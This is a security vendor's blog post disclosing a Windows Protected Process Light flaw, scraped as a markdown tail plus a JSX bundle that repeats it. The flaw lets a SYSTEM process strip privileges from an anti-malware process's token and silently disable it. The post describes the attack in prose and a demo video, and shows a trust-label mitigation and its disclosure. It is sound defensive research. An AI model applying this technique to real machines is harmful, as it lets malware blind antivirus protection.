the Elastic blog post that [introduces Windows tokens](https://www.elastic.co/blog/introduction-to-windows-tokens-for-security-practitioners).\n\n### Sandboxing Tokens\n\nSome applications, such as web browsers, have been repeated targets of exploitation. Once an attacker successfully exploits a browser process, the exploit payload can perform any action that the browser process can perform. This is because it shares the browser’s token.\n\nTo mitigate the damage from such attacks, web browsers have moved much of their code into lower-privilege worker processes. This is typically done by creating a restricted security context called a sandbox. When a sandboxed worker needs to perform a privileged action on the system, such as saving a downloaded file, it can ask a non-sandboxed “broker” process to perform the action on its behalf. If the sandboxed process is exploited, the goal is to limit the payload’s ability to cause harm to only resources accessible by the sandbox.\n\nWhile modern sandboxing involves several components of OS security, one of the most important is a low-privilege, or restricted, token. New sandbox tokens can be created with APIs such as\n\n[CreateRestrictedToken](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-createrestrictedtoken)\n. Sometimes a sandboxed process needs to lock itself down after performing some initialization. The\n[AdjustTokenPrivileges](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges)\nand\n[AdjustTokenGroups](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokengroups)\nAPIs allow this adjustment. These APIs enable privileges and groups to be “forfeit” from an existing process’s token in such a way that they cannot be restored without creating a new token outside the sandbox.\n\nOne [commonly used sandbox](https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md) today is part of Google Chrome. Even some [security products](https://www.microsoft.com/security/blog/2018/10/26/windows-defender-antivirus-can-now-run-in-a-sandbox/) are getting into sandboxing these days.\n\n### Accessing Tokens\n\nWindows provides the [OpenProcessToken](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken)API to enable interaction with process tokens. MSDN states that one must have the PROCESS_QUERY_INFORMATION right to use OpenProcessToken. Since a non-protected process can only get PROCESS_QUERY_LIMITED_INFORMATION access to a PPL process (note the LIMITED), it is seemingly impossible to get a handle to a PPL process’s token. However, MSDN is incorrect in this case. With only PROCESS_QUERY_LIMITED_INFORMATION, we can successfully open the token of a protected process. [James Forshaw](https://twitter.com/tiraniddo)explains this documentation discrepancy in more depth, showing the underlying\n\n[de-compiled kernel code](https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html).\n\nTokens are themselves securable objects. As such, regular access checks still apply. The effective token of the thread attempting to access the token is checked against the security descriptor of the token being accessed for the requested access rights (TOKEN_QUERY, TOKEN_WRITE, TOKEN_IMPERSONATE, etc). For more detail about access checks, see the Microsoft article, “[How Access Checks Work](https://docs.microsoft.com/en-us/windows/win32/secauthz/how-dacls-control-access-to-an-object).”\n\n## The Attack\n\n[Process Hacker](https://github.com/processhacker/processhacker/releases/tag/v2.39) provides a nice visualization of token security descriptors. Taking a look at Windows Defender’s (MsMpEng.exe) token, we see the following Discretionary Access Control List (DACL):\n\n\n\nNote that the SYSTEM user has full control over the token. This means, unless some other mechanism is protecting the token, a thread [running as SYSTEM](https://powersploit.readthedocs.io/en/latest/Privesc/Get-System/) can modify the token. When such modification is possible, it violates the desired “PPL is protected from administrators” design goal.\n\n### Demo\n\nAlas, there is no other mechanism protecting the token. Using this technique, an attacker can forcefully remove all privileges from the MsMpEng.exe token and reduce it from [system to untrusted integrity](https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control). Being nerfed to untrusted integrity prevents the victim process from accessing most securable resources on the system, quietly incapacitating the process without terminating it.\n\n\u003cVideo vidyard_uuid=\"wSgaLpcXyZLupdiwg6BNyj\" /\u003e\n\nIn this video, the attacker could have further restricted the token, but the privilege and integrity changes were sufficient to prevent MsMpEng.exe from detecting and blocking a Mimikatz execution. We felt this illustrated a valid proof of concept.\n\n## Defense\n\nNewer versions of Windows include an undocumented feature called “trust labels.” Trust labels are part of the [System Access Control List](https://docs.microsoft.com/en-us/windows/win32/ad/retrieving-an-objectampaposs-sacl) (SACL), an optional component of every security descriptor. Trust labels allow Windows to restrict specific access rights to certain types of protected processes. For example, Windows [protects](https://www.elastic.co/blog/protecting-windows-protected-processes) the \\KnownDlls object directory from [modification by malicious administrators](https://www.elastic.co/blog/detect-block-unknown-knowndlls-windows-acl-hardening-attacks-cache-poisoning-escalation) using a trust label. We can see this with [WinObjEx64](https://github.com/hfiref0x/WinObjEx64):\n\n\n\nLike \\KnownDlls, tokens are securable objects, and thus it is possible to protect them against modification by malicious administrators. Elastic Security does this, in fact, and is immune to this attack, by denying TOKEN_WRITE access to processes with a trust label below “Anti-Malware Light.” Because this protection is applied at runtime, however, there is still a brief window of vulnerability until it can apply the trust label.\n\nIdeally, Windows would apply such a trust label to each PPL process’s token as it is created. This would eliminate the race condition and fix the vulnerability in the PPL mechanism. There is precedent. With a kernel debugger, we can see that Windows is already protecting the System process’ token on Windows (21H1 shown below) with a trust label:\n\n```\n1: kd\u003e dx -r1 (((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]-\u003eKernelObject-\u003eToken-\u003eObject - sizeof(nt!_OBJECT_HEADER)) \u0026 ~0xf))-\u003eSecurityDescriptor \u0026 ~0xf)\n(((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]-\u003eKernelObject-\u003eToken-\u003eObject - sizeof(nt!_OBJECT_HEADER)) \u0026 ~0xf))-\u003eSecurityDescriptor \u0026 ~0xf) : 0xffffe00649c46c20\n1: kd\u003e !sd 0xffffe00649c46c20\n-\u003eRevision: 0x1\n-\u003eSbz1 : 0x0\n-\u003eControl : 0x8814\n SE_DACL_PRESENT\n SE_SACL_PRESENT\n SE_SACL_AUTO_INHERITED\n SE_SELF_RELATIVE\n-\u003eOwner : S-1-5-32-544\n-\u003eGroup : S-1-5-32-544\n-\u003eDacl :\n-\u003eDacl : -\u003eAclRevision: 0x2\n-\u003eDacl : -\u003eSbz1 : 0x0\n-\u003eDacl : -\u003eAclSize : 0x1c\n-\u003eDacl : -\u003eAceCount : 0x1\n-\u003eDacl : -\u003eSbz2 : 0x0\n-\u003eDacl : -\u003eAce[0]: -\u003eAceType: ACCESS_ALLOWED_ACE_TYPE\n-\u003eDacl : -\u003eAce[0]: -\u003eAceFlags: 0x0\n-\u003eDacl : -\u003eAce[0]: -\u003eAceSize: 0x14\n-\u003eDacl : -\u003eAce[0]: -\u003eMask : 0x000f01ff\n-\u003eDacl : -\u003eAce[0]: -\u003eSID: S-1-5-18\n\n-\u003eSacl :\n-\u003eSacl : -\u003eAclRevision: 0x2\n-\u003eSacl : -\u003eSbz1 : 0x0\n-\u003eSacl : -\u003eAclSize : 0x34\n-\u003eSacl : -\u003eAceCount : 0x2\n-\u003eSacl : -\u003eSbz2 : 0x0\n-\u003eSacl : -\u003eAce[0]: -\u003eAceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE\n-\u003eSacl : -\u003eAce[0]: -\u003eAceFlags: 0x0\n-\u003eSacl : -\u003eAce[0]: -\u003eAceSize: 0x14\n-\u003eSacl : -\u003eAce[0]: -\u003eMask : 0x00000001\n-\u003eSacl : -\u003eAce[0]: -\u003eSID: S-1-16-16384\n\n-\u003eSacl : -\u003eAce[1]: -\u003eAceType: SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE\n-\u003eSacl : -\u003eAce[1]: -\u003eAceFlags: 0x0\n-\u003eSacl : -\u003eAce[1]: -\u003eAceSize: 0x18\n-\u003eSacl : -\u003eAce[1]: -\u003eMask : 0x00020018\n-\u003eSacl : -\u003eAce[1]: -\u003eSID: S-1-19-1024-8192\n\n```\n\nThe SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE access control entry limits access to READ_CONTROL, TOKEN_QUERY, and TOKEN_QUERY_SOURCE (0x00020018) unless the caller is a WinTcb protected process (SID S-1-19-1024-8192). That SID can be interpreted as follows:\n\n- 1: [Revision 1](https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L1794)\n- 19: [SECURITY_PROCESS_TRUST_AUTHORITY](https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2097)\n- 1024:\n [SECURITY_PROCESS_PROTECTION_TYPE_FULL_RID](https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2100)\n- 8192:\n [SECURITY_PROCESS_PROTECTION_LEVEL_WINTCB_RID](https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2104)\n\n### Mitigation\n\nAlongside this article, we are releasing an update to the [PPLGuard](https://github.com/elastic/PPLGuard) proof-of-concept that protects all running anti-malware PPL processes against this attack. It includes example code that anti-malware products can employ to protect themselves. Here it is in action, protecting Defender:\n\n\u003cVideo vidyard_uuid=\"zuKPeTwxbRaGAPL8BsrMKA\" /\u003e\n\n## Disclosure\n\nWe disclosed this vulnerability and proposed fixes to the [Microsoft Security Response Center](https://www.microsoft.com/en-us/msrc?rtc=1) (MSRC) on 2022-01-05. They responded on 2022-01-24 that they have classified it as moderate severity, and will not address it with a security update. However, they may address it in a future version of Windows.\n\n## Conclusion\n\nIn this article, we disclosed a flaw in the Windows Protected Process Light (PPL) mechanism. We then demonstrated how malware can use this flaw to neutralize PPL anti-malware products. Finally, we showed a simple ACL fix (with sample code) that anti-malware products can employ to defend against this attack. Elastic Security already incorporates this fix, but we hope that Windows implements it (or something equivalent) by default in the near future.\n","code":"var Component=(()=\u003e{var h=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var w=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(s,e)=\u003e()=\u003e(e||s((e={exports:{}}).exports,e),e.exports),g=(s,e)=\u003e{for(var n in e)i(s,n,{get:e[n],enumerable:!0})},a=(s,e,n,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of u(e))!m.call(s,o)\u0026\u0026o!==n\u0026\u0026i(s,o,{get:()=\u003ee[o],enumerable:!(r=p(e,o))||r.enumerable});return s};var b=(s,e,n)=\u003e(n=s!=null?h(w(s)):{},a(e||!s||!s.__esModule?i(n,\"default\",{value:s,enumerable:!0}):n,s)),y=s=\u003ea(i({},\"__esModule\",{value:!0}),s);var l=f((x,c)=\u003e{c.exports=_jsx_runtime});var T={};g(T,{default:()=\u003eE,frontmatter:()=\u003eS});var t=b(l()),S={title:\"Sandboxing Antimalware Products for Fun and Profit\",slug:\"sandboxing-antimalware-products\",date:\"2023-02-21\",description:\"This article demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack.\",author:[{slug:\"gabriel-landau\"}],image:\"blog-thumb-tools-various.jpg\",category:[{slug:\"security-research\"}]};function d(s){let e=Object.assign({p:\"p\",h2:\"h2\",a:\"a\",blockquote:\"blockquote\",strong:\"strong\",pre:\"pre\",code:\"code\",ul:\"ul\",li:\"li\",h3:\"h3\",img:\"img\"},s.components),{Video:n}=e;return n||v(\"Video\",!0),(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.p,{children:\"This article demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack. This is of particular interest because we build and maintain two anti-malware products that benefit from this protection.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"protected-anti-malware-services\",children:\"Protected Anti-Malware Services\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Windows 8.1 \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-\",rel:\"nofollow\",children:\"introduced\"}),\" a concept of Protected Antimalware Services. This enables specially-signed programs to run such that they are immune from tampering and termination, even by administrative users. Microsoft\\u2019s documentation (\",(0,t.jsx)(e.a,{href:\"https://web.archive.org/web/20211019010629/https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-\",rel:\"nofollow\",children:\"archived\"}),\") describes this as:\"]}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsx)(e.p,{children:\"In Windows 8.1, a new concept of protected service has been introduced to allow anti-malware user-mode services to be launched as a protected service. After the service is launched as protected, Windows uses code integrity to only allow trusted code to load into the protected service. Windows also protects these processes from code injection and other attacks from admin processes.\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The goal is to prevent malware from instantly disabling your antivirus and then running amok. For the rest of this article, we call them Protected Process Light (PPL). For more depth, \",(0,t.jsx)(e.a,{href:\"https://twitter.com/aionescu\",rel:\"nofollow\",children:\"Alex Ionescu\"}),\" goes into great detail on protected processes in his \",(0,t.jsx)(e.a,{href:\"https://www.youtube.com/watch?v=35L_qJNMu1A\",rel:\"nofollow\",children:\"talk at NoSuchCon 2014\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"To be able to run as a PPL, an anti-malware vendor must apply to Microsoft, prove their identity, sign binding legal documents, implement an \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/w8cookbook/secured-boot\",rel:\"nofollow\",children:\"Early Launch Anti-Malware\"}),\" (ELAM) driver, run it through a test suite, and submit it to Microsoft for a special Authenticode signature. It is not a trivial process. Once this process is complete, the vendor can \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-installelamcertificateinfo\",rel:\"nofollow\",children:\"use this ELAM driver\"}),\" to have Windows protect their anti-malware service by running it as a PPL.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"You can see PPL in action yourself by running the following from an elevated administrative command prompt on a default Windows 10 install:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"Protected Process Light in Action\"})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`C:\\\\WINDOWS\\\\system32\u003ewhoami\nnt authority\\\\system\n\nC:\\\\WINDOWS\\\\system32\u003ewhoami /priv | findstr \"Debug\"\nSeDebugPrivilege Debug programs Enabled\n\nC:\\\\WINDOWS\\\\system32\u003etaskkill /f /im MsMpEng.exe\nERROR: The process \"MsMpEng.exe\" with PID 2236 could not be terminated.\nReason: Access is denied.\n\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"As you can see here, even a user running as SYSTEM (or an elevated administrator) with \",(0,t.jsx)(e.a,{href:\"https://devblogs.microsoft.com/oldnewthing/20080314-00/?p=23113\",rel:\"nofollow\",children:\"SeDebugPrivilege\"}),\" cannot terminate the PPL Windows Defender anti-malware Service (MsMpEng.exe). This is because non-PPL processes like taskkill.exe cannot obtain handles with the PROCESS_TERMINATE access right to PPL processes using APIs such as \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess\",rel:\"nofollow\",children:\"OpenProcess\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"In summary, Windows attempts to protect PPL processes from non-PPL processes, even those with administrative rights. This is both documented and implemented. That being said, with PROCESS_TERMINATE blocked, let\\u2019s see if there are other ways we can interfere with it instead.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"windows-tokens\",children:\"Windows Tokens\"}),`\n`,(0,t.jsx)(e.p,{children:\"A Windows token can be thought of as a security credential. It says who you are and what you\\u2019re allowed to do. Typically when a user runs a process, that process runs with their token and can do anything the user can do. Some of the most important data within a token include:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"User identity\"}),`\n`,(0,t.jsx)(e.li,{children:\"Group membership (e.g. Administrators)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Privileges (e.g. SeDebugPrivilege)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Integrity level\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Tokens are a critical part of Windows authorization. Any time a Windows thread accesses a \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects\",rel:\"nofollow\",children:\"securable object\"}),\", the OS performs a security check. It compares the thread\\u2019s effective token against the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptors\",rel:\"nofollow\",children:\"security descriptor\"}),\" of the object being accessed. You can read more about tokens in the Microsoft \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens\",rel:\"nofollow\",children:\"access token documentation\"}),\" and the Elastic blog post that \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/introduction-to-windows-tokens-for-security-practitioners\",rel:\"nofollow\",children:\"introduces Windows tokens\"}),\".\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"sandboxing-tokens\",children:\"Sandboxing Tokens\"}),`\n`,(0,t.jsx)(e.p,{children:\"Some applications, such as web browsers, have been repeated targets of exploitation. Once an attacker successfully exploits a browser process, the exploit payload can perform any action that the browser process can perform. This is because it shares the browser\\u2019s token.\"}),`\n`,(0,t.jsx)(e.p,{children:\"To mitigate the damage from such attacks, web browsers have moved much of their code into lower-privilege worker processes. This is typically done by creating a restricted security context called a sandbox. When a sandboxed worker needs to perform a privileged action on the system, such as saving a downloaded file, it can ask a non-sandboxed \\u201Cbroker\\u201D process to perform the action on its behalf. If the sandboxed process is exploited, the goal is to limit the payload\\u2019s ability to cause harm to only resources accessible by the sandbox.\"}),`\n`,(0,t.jsx)(e.p,{children:\"While modern sandboxing involves several components of OS security, one of the most important is a low-privilege, or restricted, token. New sandbox tokens can be created with APIs such as\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-createrestrictedtoken\",rel:\"nofollow\",children:\"CreateRestrictedToken\"}),`\n. Sometimes a sandboxed process needs to lock itself down after performing some initialization. The\n`,(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges\",rel:\"nofollow\",children:\"AdjustTokenPrivileges\"}),`\nand\n`,(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokengroups\",rel:\"nofollow\",children:\"AdjustTokenGroups\"}),`\nAPIs allow this adjustment. These APIs enable privileges and groups to be \\u201Cforfeit\\u201D from an existing process\\u2019s token in such a way that they cannot be restored without creating a new token outside the sandbox.`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"One \",(0,t.jsx)(e.a,{href:\"https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md\",rel:\"nofollow\",children:\"commonly used sandbox\"}),\" today is part of Google Chrome. Even some \",(0,t.jsx)(e.a,{href:\"https://www.microsoft.com/security/blog/2018/10/26/windows-defender-antivirus-can-now-run-in-a-sandbox/\",rel:\"nofollow\",children:\"security products\"}),\" are getting into sandboxing these days.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"accessing-tokens\",children:\"Accessing Tokens\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Windows provides the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken\",rel:\"nofollow\",children:\"OpenProcessToken\"}),\"API to enable interaction with process tokens. MSDN states that one must have the PROCESS_QUERY_INFORMATION right to use OpenProcessToken. Since a non-protected process can only get PROCESS_QUERY_LIMITED_INFORMATION access to a PPL process (note the LIMITED), it is seemingly impossible to get a handle to a PPL process\\u2019s token. However, MSDN is incorrect in this case. With only PROCESS_QUERY_LIMITED_INFORMATION, we can successfully open the token of a protected process. \",(0,t.jsx)(e.a,{href:\"https://twitter.com/tiraniddo\",rel:\"nofollow\",children:\"James Forshaw\"}),\"explains this documentation discrepancy in more depth, showing the underlying\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html\",rel:\"nofollow\",children:\"de-compiled kernel code\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Tokens are themselves securable objects. As such, regular access checks still apply. The effective token of the thread attempting to access the token is checked against the security descriptor of the token being accessed for the requested access rights (TOKEN_QUERY, TOKEN_WRITE, TOKEN_IMPERSONATE, etc). For more detail about access checks, see the Microsoft article, \\u201C\",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/how-dacls-control-access-to-an-object\",rel:\"nofollow\",children:\"How Access Checks Work\"}),\".\\u201D\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"the-attack\",children:\"The Attack\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/processhacker/processhacker/releases/tag/v2.39\",rel:\"nofollow\",children:\"Process Hacker\"}),\" provides a nice visualization of token security descriptors. Taking a look at Windows Defender\\u2019s (MsMpEng.exe) token, we see the following Discretionary Access Control List (DACL):\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/sandboxing-antimalware-products/advanced-security-settings.jpg\",alt:\"\",width:\"767\",height:\"520\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Note that the SYSTEM user has full control over the token. This means, unless some other mechanism is protecting the token, a thread \",(0,t.jsx)(e.a,{href:\"https://powersploit.readthedocs.io/en/latest/Privesc/Get-System/\",rel:\"nofollow\",children:\"running as SYSTEM\"}),\" can modify the token. When such modification is possible, it violates the desired \\u201CPPL is protected from administrators\\u201D design goal.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"demo\",children:\"Demo\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Alas, there is no other mechanism protecting the token. Using this technique, an attacker can forcefully remove all privileges from the MsMpEng.exe token and reduce it from \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control\",rel:\"nofollow\",children:\"system to untrusted integrity\"}),\". Being nerfed to untrusted integrity prevents the victim process from accessing most securable resources on the system, quietly incapacitating the process without terminating it.\"]}),`\n`,(0,t.jsx)(n,{vidyard_uuid:\"wSgaLpcXyZLupdiwg6BNyj\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this video, the attacker could have further restricted the token, but the privilege and integrity changes were sufficient to prevent MsMpEng.exe from detecting and blocking a Mimikatz execution. We felt this illustrated a valid proof of concept.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"defense\",children:\"Defense\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Newer versions of Windows include an undocumented feature called \\u201Ctrust labels.\\u201D Trust labels are part of the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/ad/retrieving-an-objectampaposs-sacl\",rel:\"nofollow\",children:\"System Access Control List\"}),\" (SACL), an optional component of every security descriptor. Trust labels allow Windows to restrict specific access rights to certain types of protected processes. For example, Windows \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/protecting-windows-protected-processes\",rel:\"nofollow\",children:\"protects\"}),\" the \\\\KnownDlls object directory from \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/detect-block-unknown-knowndlls-windows-acl-hardening-attacks-cache-poisoning-escalation\",rel:\"nofollow\",children:\"modification by malicious administrators\"}),\" using a trust label. We can see this with \",(0,t.jsx)(e.a,{href:\"https://github.com/hfiref0x/WinObjEx64\",rel:\"nofollow\",children:\"WinObjEx64\"}),\":\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/sandboxing-antimalware-products/KnownDlls-Trust-Label.jpg\",alt:\"\",width:\"775\",height:\"367\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Like \\\\KnownDlls, tokens are securable objects, and thus it is possible to protect them against modification by malicious administrators. Elastic Security does this, in fact, and is immune to this attack, by denying TOKEN_WRITE access to processes with a trust label below \\u201CAnti-Malware Light.\\u201D Because this protection is applied at runtime, however, there is still a brief window of vulnerability until it can apply the trust label.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Ideally, Windows would apply such a trust label to each PPL process\\u2019s token as it is created. This would eliminate the race condition and fix the vulnerability in the PPL mechanism. There is precedent. With a kernel debugger, we can see that Windows is already protecting the System process\\u2019 token on Windows (21H1 shown below) with a trust label:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`1: kd\u003e dx -r1 (((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]-\u003eKernelObject-\u003eToken-\u003eObject - sizeof(nt!_OBJECT_HEADER)) \u0026 ~0xf))-\u003eSecurityDescriptor \u0026 ~0xf)\n(((nt!_OBJECT_HEADER*)((@$cursession.Processes[0x4]-\u003eKernelObject-\u003eToken-\u003eObject - sizeof(nt!_OBJECT_HEADER)) \u0026 ~0xf))-\u003eSecurityDescriptor \u0026 ~0xf) : 0xffffe00649c46c20\n1: kd\u003e !sd 0xffffe00649c46c20\n-\u003eRevision: 0x1\n-\u003eSbz1 : 0x0\n-\u003eControl : 0x8814\n SE_DACL_PRESENT\n SE_SACL_PRESENT\n SE_SACL_AUTO_INHERITED\n SE_SELF_RELATIVE\n-\u003eOwner : S-1-5-32-544\n-\u003eGroup : S-1-5-32-544\n-\u003eDacl :\n-\u003eDacl : -\u003eAclRevision: 0x2\n-\u003eDacl : -\u003eSbz1 : 0x0\n-\u003eDacl : -\u003eAclSize : 0x1c\n-\u003eDacl : -\u003eAceCount : 0x1\n-\u003eDacl : -\u003eSbz2 : 0x0\n-\u003eDacl : -\u003eAce[0]: -\u003eAceType: ACCESS_ALLOWED_ACE_TYPE\n-\u003eDacl : -\u003eAce[0]: -\u003eAceFlags: 0x0\n-\u003eDacl : -\u003eAce[0]: -\u003eAceSize: 0x14\n-\u003eDacl : -\u003eAce[0]: -\u003eMask : 0x000f01ff\n-\u003eDacl : -\u003eAce[0]: -\u003eSID: S-1-5-18\n\n-\u003eSacl :\n-\u003eSacl : -\u003eAclRevision: 0x2\n-\u003eSacl : -\u003eSbz1 : 0x0\n-\u003eSacl : -\u003eAclSize : 0x34\n-\u003eSacl : -\u003eAceCount : 0x2\n-\u003eSacl : -\u003eSbz2 : 0x0\n-\u003eSacl : -\u003eAce[0]: -\u003eAceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE\n-\u003eSacl : -\u003eAce[0]: -\u003eAceFlags: 0x0\n-\u003eSacl : -\u003eAce[0]: -\u003eAceSize: 0x14\n-\u003eSacl : -\u003eAce[0]: -\u003eMask : 0x00000001\n-\u003eSacl : -\u003eAce[0]: -\u003eSID: S-1-16-16384\n\n-\u003eSacl : -\u003eAce[1]: -\u003eAceType: SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE\n-\u003eSacl : -\u003eAce[1]: -\u003eAceFlags: 0x0\n-\u003eSacl : -\u003eAce[1]: -\u003eAceSize: 0x18\n-\u003eSacl : -\u003eAce[1]: -\u003eMask : 0x00020018\n-\u003eSacl : -\u003eAce[1]: -\u003eSID: S-1-19-1024-8192\n\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE access control entry limits access to READ_CONTROL, TOKEN_QUERY, and TOKEN_QUERY_SOURCE (0x00020018) unless the caller is a WinTcb protected process (SID S-1-19-1024-8192). That SID can be interpreted as follows:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"1: \",(0,t.jsx)(e.a,{href:\"https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L1794\",rel:\"nofollow\",children:\"Revision 1\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"19: \",(0,t.jsx)(e.a,{href:\"https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2097\",rel:\"nofollow\",children:\"SECURITY_PROCESS_TRUST_AUTHORITY\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[`1024:\n`,(0,t.jsx)(e.a,{href:\"https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2100\",rel:\"nofollow\",children:\"SECURITY_PROCESS_PROTECTION_TYPE_FULL_RID\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[`8192:\n`,(0,t.jsx)(e.a,{href:\"https://github.com/gabriellandau/ctypes-windows-sdk/blob/0a5bfaa9385391038a7d31928b14d6fe5b76fa97/cwinsdk/um/winnt.py#L2104\",rel:\"nofollow\",children:\"SECURITY_PROCESS_PROTECTION_LEVEL_WINTCB_RID\"})]}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"mitigation\",children:\"Mitigation\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Alongside this article, we are releasing an update to the \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/PPLGuard\",rel:\"nofollow\",children:\"PPLGuard\"}),\" proof-of-concept that protects all running anti-malware PPL processes against this attack. It includes example code that anti-malware products can employ to protect themselves. Here it is in action, protecting Defender:\"]}),`\n`,(0,t.jsx)(n,{vidyard_uuid:\"zuKPeTwxbRaGAPL8BsrMKA\"}),`\n`,(0,t.jsx)(e.h2,{id:\"disclosure\",children:\"Disclosure\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We disclosed this vulnerability and proposed fixes to the 